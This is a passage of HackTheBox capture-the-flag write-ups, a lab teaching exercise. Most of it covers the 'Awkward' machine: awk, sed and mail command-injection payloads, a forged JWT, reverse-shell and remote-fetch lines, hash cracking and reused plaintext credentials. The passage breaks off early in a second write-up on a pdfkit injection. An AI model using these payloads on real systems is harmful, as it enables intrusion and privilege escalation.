badInUser = bad.some(char => user.includes(char)); if(badInUser) { return res.status(500).send(\"Bad character detected.\") } exec(\"awk '/\" + user + \"/' /var/www/private/leave_requests.csv\", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => { if(stdout) { return res.status(200).send(new Buffer(stdout, 'binary')); } if (error) { return res.status(500).send(\"Failed to retrieve leave requests\") } if (stderr) { return res.status(500).send(\"Failed to retrieve leave requests\") } }) }) /api/submit-leave and /api/all-leave contain a command-injection vulnerability but there are many blocked characters what is awk: https://www.geeksforgeeks.org/awk-command-unixlinux-examples/ the syntax is: awk options 'selection _criteria {action }' input-file > output-file look at: https://gtfobins.github.io/gtfobins/awk/ → awk '//' /etc/passwd curly braces are very important to obtain a reverse shell: / { print 1 } BEGIN {system(\"wget localhost:8000/revshell.sh\")} /→ awk '// { print 1 } BEGIN {system(\"wget localhost:8000/revshell.sh\")} //' file.txt / { print 1 } BEGIN {system(\"bash revshell.sh\")} /→awk '// { print 1 } BEGIN {system(\"bash revshell.sh\")} //' file.txt the creator prevented using these characters so I guess it’s not yet time to get a reverse shell, so I just read the files on the file system: /' /etc/passwd '→awk '// ' /etc/passwd '/' /var/www/private/leave_requests.csv always using the site https://jwt.io I create a token: header = {\"alg\":\"HS256\",\"typ\":\"JWT\"} payload = {\"username\":\"/' /etc/passwd '\",\"iat\":1671016345} #www.epochconverter.com signature key = 123beany123 I get: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzEwMTYzNDV9.LWlcpxTk5MgZVyVDa5Ltadtq5iBpMyX2cMA_CZjr6EE I set the token value and do an HTTP GET to http://hat-valley.htb/api/all-leave root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:102:105::/nonexistent:/usr/sbin/nologin systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin syslog:x:104:111::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin whoopsie:x:117:124::/nonexistent:/bin/false sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin saned:x:121:128::/var/lib/saned:/usr/sbin/nologin colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false bean:x:1001:1001:,,,:/home/bean:/bin/bash christine:x:1002:1002:,,,:/home/christine:/bin/bash postfix:x:128:136::/var/spool/postfix:/usr/sbin/nologin mysql:x:129:138:MySQL Server,,,:/nonexistent:/bin/false sshd:x:130:65534::/run/sshd:/usr/sbin/nologin _laurel:x:999:999::/var/log/laurel:/bin/false I try to read notable files: /' /var/www/hat-valley.htb/config.js ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /var/www/hat-valley.htb/config.json ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /var/www/hat-valley.htb/config/default.json ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /var/www/private/config.js ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /var/www/private/config.json ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /var/www/private/config/default.json ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/christine/.ssh/id_rsa ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/christine/.bash_history ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/christine/.gitconfig ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/christine/.bashrc ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/bean/.ssh/id_rsa ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/bean/.bash_history ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/bean/.gitconfig ' → Failed to retrieve leave requests → doesn’t exist or I can’t read /' /home/bean/.bashrc ' → I can read it this part was quite tedious because I tried dozens of files in the web server without results because I didn’t imagine that I could also enter user’s home relative paths like bean the last path was successful and in fact I can read the file: # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # ... # # custom alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh' # ... # I read the file with the same method: /home/bean/Documents/backup_home.sh #!/bin/bash mkdir /home/bean/Documents/backup_tmp cd /home/bean tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz . date > /home/bean/Documents/backup_tmp/time.txt cd /home/bean/Documents/backup_tmp tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz . rm -r /home/bean/Documents/backup_tmp I download the file: /' /home/bean/Documents/backup/bean_backup_final.tar.gz ' the file seems corrupted: tar xzf bean_backup_final.tar.gz gzip: stdin: unexpected end of file I use then: gzrecover bean_backup_final.tar.gz I get: bean_backup_final.tar.recovered I extract the content in: bean_backup_final -rw-r--r-- 1 user user 32344 Sep 15 13:46 bean_backup.tar.gz -rw-r--r-- 1 user user 30 Sep 15 13:46 time.txt I extract the content of: bean_backup.tar.gz there are so many files, I had to spend some time and analyze them all: .ssh → empty Desktop → empty Documents → backup backup_home.sh backup_tmp Downloads → empty Music → empty Pictures → empty Public → empty snap → snapd-desktop-integration → https://snapcraft.io/install/snapd-desktop-integration/ubuntu → nothing interesting Templates → empty Videos → empty .local → applications evolution flatpak gnome-settings-daemon gnome-shell gvfs-metadata ibus-table icc keyrings nano nautilus recently-used.xbel session_migration-ubuntu sounds → nothing interesting .config autostart → xpad.desktop dconf evolution gnome-initial-setup-done goa-1.0 gtk-3.0 ibus nautilus pulse update-notifier user-dirs.dirs user-dirs.locale → nothing interesting xpad → content-DS1ZS1 default-style info-GQ1ZS1 → they are sticky notes of bean file: content-DS1ZS1 TO DO: - Get real hat prices / stock from Christine - Implement more secure hashing mechanism for HR system - Setup better confirmation message when adding item to cart - Add support for item quantity > 1 - Implement checkout system boldHR SYSTEM/bold bean.hill 014mrbeanrules!#P https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold I have the System Administrator login: bean.hill : 014mrbeanrules!#P as written in the note (MAKE SURE TO USE THIS EVERYWHERE) I could try if I can also login with SSH: sshpass -p '014mrbeanrules!#P' ssh bean@10.10.11.185 bingo! Privesc bean here’s why the previous reading of the files in the bean home worked: ls -al /home/ drwxr-xr-x 17 bean bean 4096 Oct 6 01:35 bean drwxr-x--- 2 christine christine 4096 Sep 15 21:39 christine ls -al /home/bean/ lrwxrwxrwx 1 bean bean 9 Sep 15 21:40 .bash_history -> /dev/null -rw-r--r-- 1 bean bean 220 Sep 15 21:34 .bash_logout -rw-r--r-- 1 bean bean 3847 Sep 15 21:45 .bashrc drwx------ 9 bean bean 4096 Sep 22 14:30 .cache drwx------ 13 bean bean 4096 Oct 6 01:35 .config drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Desktop drwxr-xr-x 3 bean bean 4096 Sep 15 21:46 Documents drwxr-xr-x 2 bean bean 4096 Sep 15 23:03 Downloads drwx------ 3 bean bean 4096 Dec 15 00:24 .gnupg drwx------ 3 bean bean 4096 Sep 15 21:35 .local drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Music drwxrwxr-x 4 bean bean 4096 Oct 6 01:35 .npm drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Pictures -rw-r--r-- 1 bean bean 807 Sep 15 21:34 .profile drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Public drwx------ 4 bean bean 4096 Sep 15 21:55 snap drwx------ 2 bean bean 4096 Sep 15 21:36 .ssh drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Templates -rw-r----- 1 root bean 33 Dec 14 22:10 user.txt drwxr-xr-x 2 bean bean 4096 Sep 15 21:35 Videos there were no clues unfortunately, in fact it was quite a tedious part guessing the readable files ls -al /var/www/ drwxr-xr-x 6 root root 4096 Oct 6 01:35 hat-valley.htb drwxr-xr-x 2 root root 4096 Oct 6 01:35 html drw-rwx--- 5 root www-data 4096 Dec 14 22:10 .pm2 dr-xr-x--- 2 christine www-data 4096 Oct 6 01:35 private drwxr-xr-x 9 root root 4096 Oct 6 01:35 store I can see the files inside the store (others): drwxr-xr-x 9 root root 4096 Oct 6 01:35 . drwxr-xr-x 7 root root 4096 Oct 6 01:35 .. drwxrwxrwx 2 root root 4096 Dec 15 02:04 cart -rwxr-xr-x 1 root root 3664 Sep 15 20:09 cart_actions.php -rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php -rwxr-xr-x 1 root root 9143 Sep 15 20:09 checkout.php drwxr-xr-x 2 root root 4096 Oct 6 01:35 css drwxr-xr-x 2 root root 4096 Oct 6 01:35 fonts drwxr-xr-x 6 root root 4096 Oct 6 01:35 img -rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php drwxr-xr-x 3 root root 4096 Oct 6 01:35 js drwxrwxrwx 2 root root 4096 Dec 15 02:00 product-details -rwxr-xr-x 1 root root 918 Sep 15 20:09 README.md -rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php drwxr-xr-x 6 root root 4096 Oct 6 01:35 static -rwxr-xr-x 1 root root 695 Sep 15 20:09 style.css ls -al /var/mail/ -rw------- 1 christine mail 40283 Dec 15 00:20 christine -rw------- 1 root mail 85534 Dec 15 00:24 root sudo -l (with password 014mrbeanrules!#P) Sorry, user bean may not run sudo on awkward. I look at the server side configuration: /etc/nginx/sites-enabled/hat-valley.htb.conf server { listen 80; server_name hat-valley.htb; root /var/www/hat-valley.htb; location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \"upgrade\"; } } for this reason accessing http://127.0.0.1:8080 with the SSRF does not work /etc/nginx/sites-enabled/store.conf server { listen 80; server_name store.hat-valley.htb; root /var/www/store; location / { index index.php index.html index.htm; } location ~ /cart/.*\\.php$ { return 403; } location ~ /product-details/.*\\.php$ { return 403; } location ~ \\.php$ { auth_basic \"Restricted\"; auth_basic_user_file /etc/nginx/conf.d/.htpasswd; fastcgi_pass unix:/var/run/php/php8.1-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; include fastcgi_params; } } inside /etc/nginx/conf.d/.htpasswd I find admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1 https://runebook.dev/it/docs/nginx/http/ngx_http_auth_basic_module https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-nginx-on-ubuntu-14-04 openssl passwd -apr1 >> /etc/nginx/.htpasswd -apr1 - Use the apr1 algorithm (Apache variant of the BSD algorithm). hashcat --help | grep apr 1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server example from https://hashcat.net/wiki/doku.php?id=example_hashes: $apr1$71850310$gh9m4xcAn3MGxogwX/ztb. so I omit the username and write on the file hash2.txt only $apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1 I start the attack: hashcat -m 1600 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt -O the password cannot be cracked so (MAKE SURE TO USE THIS EVERYWHERE) I reuse the bean credentials and login to http://store.hat-valley.htb/ with the admin : 014mrbeanrules!#P credentials bingo! I visit the http://store.hat-valley.htb website as a logged in user client side for the shop.php page I see: <script> function generateUniqSerial() { return 'xxxx-xxxx-xxx-xxxx'.replace(/[x]/g, (c) => { const r = Math.floor(Math.random() * 16); return r.toString(16); }); } function checkUser() { if(!localStorage.getItem(\"user\")) { localStorage.setItem(\"user\", generateUniqSerial()) } } function addToCart(item, user) { $.ajax({ type: \"post\", url: 'cart_actions.php', data:{item: item.getAttribute(\"data-id\"), user: user, action: 'add_item'}, success:function(data) { alert(data) } }); } </script> ... <body onload=\"checkUser();\"> ... <div data-id=\"1\" onclick=\"addToCart(this, localStorage.getItem('user'))\" class=\"add-to-cart-btn\" style = \"margin-top: 15px !important; cursor: pointer;\">ADD TO CART</div> client side for the cart.php page I see: <script> function setupCart() { checkUser(); fetchCart(); } function generateUniqSerial() { return 'xxxx-xxxx-xxx-xxxx'.replace(/[x]/g, (c) => { const r = Math.floor(Math.random() * 16); return r.toString(16); }); } function checkUser() { if(!localStorage.getItem(\"user\")) { localStorage.setItem(\"user\", generateUniqSerial()) } } function fetchCart() { $.ajax({ type: \"get\", url: 'cart_actions.php', data:{user: localStorage.getItem(\"user\"), action: 'fetch_items'}, success:function(data) { if(data.length === 0) { document.getElementById(\"store-cart\").innerHTML += \"<td colspan=4 class='no-items'>Well, this is awkward... you have no items in your cart. Get shopping!</td>\" } else { document.getElementById(\"store-cart\").innerHTML += data } } }); } function removeFromCart(item, user) { $.ajax({ type: \"post\", url: 'cart_actions.php', data:{item: item.getAttribute(\"data-id\"), user: user, action: 'delete_item'}, success:function(data) { alert(data) location.reload() } }); } </script> ... <body onload=\"setupCart()\"> ... server side (I can read the sources → others permissions) I see cart_actions.php: <?php $STORE_HOME = \"/var/www/store/\"; //check for valid hat valley store item function checkValidItem($filename) { if(file_exists($filename)) { $first_line = file($filename)[0]; if(strpos($first_line, \"***Hat Valley\") !== FALSE) { return true; } } return false; } //add to cart if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) { $item_id = $_POST['item']; $user_id = $_POST['user']; $bad_chars = array(\";\",\"&\",\"|\",\">\",\"<\",\"*\",\"?\",\"`\",\"$\",\"(\",\")\",\"{\",\"}\",\"[\",\"]\",\"!\",\"#\"); //no hacking allowed!! foreach($bad_chars as $bad) { if(strpos($item_id, $bad) !== FALSE) { echo \"Bad character detected!\"; exit; } } foreach($bad_chars as $bad) { if(strpos($user_id, $bad) !== FALSE) { echo \"Bad character detected!\"; exit; } } if(checkValidItem(\"{$STORE_HOME}product-details/{$item_id}.txt\")) { if(!file_exists(\"{$STORE_HOME}cart/{$user_id}\")) { system(\"echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}\"); } system(\"head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}\"); echo \"Item added successfully!\"; } else { echo \"Invalid item\"; } exit; } //delete from cart if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) { $item_id = $_POST['item']; $user_id = $_POST['user']; $bad_chars = array(\";\",\"&\",\"|\",\">\",\"<\",\"*\",\"?\",\"`\",\"$\",\"(\",\")\",\"{\",\"}\",\"[\",\"]\",\"!\",\"#\"); //no hacking allowed!! foreach($bad_chars as $bad) { if(strpos($item_id, $bad) !== FALSE) { echo \"Bad character detected!\"; exit; } } foreach($bad_chars as $bad) { if(strpos($user_id, $bad) !== FALSE) { echo \"Bad character detected!\"; exit; } } if(checkValidItem(\"{$STORE_HOME}cart/{$user_id}\")) { system(\"sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}\"); echo \"Item removed from cart\"; } else { echo \"Invalid item\"; } exit; } //fetch from cart if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) { $html = \"\"; $dir = scandir(\"{$STORE_HOME}cart\"); $files = array_slice($dir, 2); foreach($files as $file) { $user_id = substr($file, -18); if($user_id === $_GET['user'] && checkValidItem(\"{$STORE_HOME}cart/{$user_id}\")) { $product_file = fopen(\"{$STORE_HOME}cart/{$file}\", \"r\"); $details = array(); while (($line = fgets($product_file)) !== false) { if(str_replace(array(\"\\r\", \"\\n\"), '', $line) !== \"***Hat Valley Cart***\") { //don't include first line array_push($details, str_replace(array(\"\\r\", \"\\n\"), '', $line)); } } foreach($details as $cart_item) { $cart_items = explode(\"&\", $cart_item); for($x = 0; $x < count($cart_items); $x++) { $cart_items[$x] = explode(\"=\", $cart_items[$x]); //key and value as separate values in subarray } $html .= \"<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\\\"removeFromCart(this, localStorage.getItem('user'))\\\" class='remove-item'>Remove</button></td></tr>\"; } } } echo $html; exit; } ?> NOTE: for simplicity I set in the browser’s LocalStorage: user : 1 NOTE: it’s important to add at least one item to the cart to create the path /var/www/store/cart/1 three system(\"...\"); are used, it is very likely that there is a command injection vulnerability: system(\"echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}\"); system(\"head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}\"); system(\"sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}\"); I notice that the checkValidItem() function is called on \"{$STORE_HOME}product-details/{$item_id}.txt\" to add an item while it is called on \"{$STORE_HOME}cart/{$user_id}\" to delete an item I’m not convinced by the curly braces in the path, I do a local test: php -a php > $STORE_HOME = \"/var/www/store/\"; php > $item_id = 1; php > $user_id = 2; php > echo \"{$STORE_HOME}cart/{$user_id}\"; /var/www/store/cart/2 everything OK, I don’t have to worry about the curly braces look at: https://gtfobins.github.io/gtfobins/sed/ → sed -n '1e id' /etc/hosts if(checkValidItem(\"{$STORE_HOME}cart/{$user_id}\")) { system(\"sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}\"); echo \"Item removed from cart\"; } the checks are on the $user_id, so I focus on the $item_id executed command: sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id} sed man page references: -i[SUFFIX], --in-place[=SUFFIX] edit files in place (makes backup if extension supplied). The default operation mode is to break symbolic and hard links. This can be changed with --follow-symlinks and --copy. -e script, --expression=script add the script to the commands to be executed https://www.gnu.org/software/sed/manual/html_node/Multiple-commands-syntax.html -e '1e command' the 1 identifies the line and the e identifies the command to be executedexample: echo 'date id' | tr ' ' '\\n' | sed '1e' → execute date commandexample: echo 'date id' | tr ' ' '\\n' | sed '2e' → execute id commandexample: echo './test.sh' | sed '1e' → executes the script in the current directory exploit: PREFIX: sed -i '/item_id= EXPLOIT: ' -e '1e /tmp/shell.sh' ' SUFFIX: /d' /var/www/store/cart/1 final command: sed -i '/item_id=' -e '1e /tmp/shell.sh' '/d' /var/www/store/cart/1 NOTE: inside /tmp/shell.sh I put the classic BASH reverse shell I can run the exploit: POST /cart_actions.php HTTP/1.1 Host: store.hat-valley.htb Content-Length: 64 Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A= Accept: */* DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://store.hat-valley.htb Referer: http://store.hat-valley.htb/cart.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 sec-gpc: 1 Connection: close item='%20-e%20'1e%20/tmp/shell.sh'%20'&user=1&action=delete_item Privesc www-data id uid=33(www-data) gid=33(www-data) groups=33(www-data) ps faxu | grep root root 1013 0.0 0.0 2988 1148 ? S 04:55 0:00 \\_ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv root 1014 0.0 0.0 18624 1776 ? S 04:55 0:00 \\_ /bin/bash /root/scripts/notify.sh inotifywait command is monitoring changes to file /var/www/private/leave_requests.csv I run ./pspy64 to see what happens after a modification of the file /var/www/private/leave_requests.csv in another terminal: echo 'test123456' >> leave_requests.csv 2022/12/15 08:46:42 CMD: UID=0 PID=6040 | tail -1 /var/www/private/leave_requests.csv 2022/12/15 08:46:42 CMD: UID=0 PID=6043 | awk -F, {print $1} 2022/12/15 08:46:42 CMD: UID=0 PID=6042 | /bin/bash /root/scripts/notify.sh 2022/12/15 08:46:42 CMD: UID=0 PID=6041 | /bin/bash /root/scripts/notify.sh 2022/12/15 08:46:42 CMD: UID=0 PID=6044 | /bin/bash /root/scripts/notify.sh 2022/12/15 08:46:42 CMD: UID=0 PID=6045 | mail -s Leave Request: test123456 christine 2022/12/15 08:46:42 CMD: UID=0 PID=6046 | /usr/sbin/sendmail -oi -f root@awkward -t 2022/12/15 08:46:42 CMD: UID=0 PID=6047 | /usr/sbin/postdrop -r 2022/12/15 08:46:42 CMD: UID=128 PID=6048 | cleanup -z -t unix -u -c 2022/12/15 08:46:42 CMD: UID=0 PID=6049 | trivial-rewrite -n rewrite -t unix -u -c 2022/12/15 08:46:42 CMD: UID=0 PID=6050 | local -t unix an email is sent as root and my string appears as subject: mail -s Leave Request: test123456 christine look at: https://gtfobins.github.io/gtfobins/mail/ → mail --exec='!/bin/sh' inside /tmp/privesc.sh I put any BASH command to get a privileged shell: SUID BIT, revshell, etc… echo '\\ --exec=\"!/tmp/privesc\\.sh\" -u' >> leave_requests.csv thanks to the execution of /tmp/privesc.sh I got root privileges the command used in the notify.sh script was: inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv | while read; do change=$(tail -1 /var/www/private/leave_requests.csv) name=`echo $change | awk -F, '{print $1}'` echo -e \"You have a new leave request to review!\\n$change\" | mail -s \"Leave Request: \"$name christine done debugging with set -x: name=$(echo '\\ --exec=\"!/tmp/privesc\\.sh\" -u' | awk -F, '{print $1}') <xec=\"!/tmp/privesc\\.sh\" -u' | awk -F, '{print $1}') ++ awk -F, '{print $1}' ++ echo '\\ --exec=\"!/tmp/privesc\\.sh\" -u' + name='\\ --exec=\"!/tmp/privesc\\.sh\" -u' mail -s \"Leave Request: \"$name christine + mail -s 'Leave Request: \\' '--exec=\"!/tmp/privesc\\.sh\"' -u christine I then get server side this command: mail -s 'Leave Request: \\' '--exec=\"!/tmp/privesc\\.sh\"' -u christine I thought the space before the --exec was being ignored so I added a \\ here is the final command that is actually executed: mail -s Leave Request: '--exec=\"!/tmp/privesc\\.sh\"' -u christine " },{ "title": "Precious writeup", "tags": ["Writeups","HackTheBox","CTF","RCE","Pdfkit-0.8.6","CVE-2022-25765","Ruby-YAML-Deserialization"], "date": "December 14, 2022", "meta": "0xhacks group", "author": "0xhacks group", "content": "INDEX Enumeration Web exploitation Method 1 Method 2 Privesc user Privesc rootEnumeration nmap -sV -p- -A -Pn 10.10.11.189 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 845e13a8e31e20661d235550f63047d2 (RSA) | 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA) |_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel the site is redirecting me to http://precious.htb/, so I add it to the /etc/hosts file nmap -p80 -A -sCV precious.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 21:07 CET Nmap scan report for precious.htb (10.10.11.189) Host is up (0.047s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 |_http-title: Convert Web Page to PDF | http-server-header: | nginx/1.18.0 |_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds I notice that site’s webserver is nginx 1.18.0 + Phusion Passenger(R) 6.0.15 gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://precious.htb/ gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://precious.htb/ I visit the website: <!DOCTYPE html> <html> <head> <title>Convert Web Page to PDF</title> <link rel=\"stylesheet\" href=\"stylesheets/style.css\"> </head> <body> <div class=\"wrapper\"> <h1 class=\"title\">Convert Web Page to PDF</h1> <form action=\"/\" method=\"post\"> <p>Enter URL to fetch</p><br> <input type=\"text\" name=\"url\" value=\"\"> <input type=\"submit\" value=\"Submit\"> </form> <h2 class=\"msg\"></h2> </div> </body> </html> I enter as URL http://10.10.14.49:4444 and I get GET / HTTP/1.1 Host: 10.10.14.49:4444 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* thanks to the header wkhtmltopdf Version/10.0 I find immediately: https://github.com/advisories/GHSA-36cg-hvm7-mhwp exploit: https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536 → all version ( <=0.12.5 ) I create a 111.html file <!DOCTYPE html> <html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <body> <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open(\"GET\",\"file:///etc/passwd\"); x.send(); </script> </body></html> python3 -m http.server 8000 --directory . and put as path http://10.10.14.49:8000/111.html the pdf that I get in output is empty, maybe the --disable-local-file-access flag is active inserting http://localhost:80 or http://127.0.0.1:80 will only load the page but not download the pdf whatweb http://precious.htb/ http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0] server side is present the web framework: Ruby-on-Rails Phusion Passenger(R) 6.0.15 is interesting: A fast and robust web server and application server for Ruby, Python and Node.js has no known vulnerabilities that version because it is up-to-date: https://github.com/phusion/passenger/releases I look at the content of the pdf that is returned to me and I discover some interesting things: %PDF-1.4 %âã 1 0 obj << /Title () /Creator (þÿwkhtmltopdf 0.12.6) /Producer (þÿQt 5.15.2) /CreationDate (D:20221202110018-05'00') %BeginExifToolUpdate 1 0 obj << /Creator (Generated by pdfkit v0.8.6) >> endobj 11 0 obj << /Type /Metadata /Subtype /XML /Length 2829 >> stream <?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?> <x:xmpmeta xmlns:x='adobe:ns:meta/'> <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'> <rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1/'> <dc:creator> <rdf:Seq> <rdf:li>Generated by pdfkit v0.8.6</rdf:li> </rdf:Seq> </dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> the creator had fun putting a vulnerable version in the User-Agent but in reality the one fixed immediately after is used: wkhtmltopdf 0.12.6 Generated by pdfkit v0.8.6 also appears in the pdf, so double trickery! this version is vulnerable CVE-2022-25765 Web exploitationMethod 1 https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 I try to run sleep command (blind-command-injection) http://10.10.14.49/?name=#{'%20`sleep 5`'} the website waits 5 seconds after sending 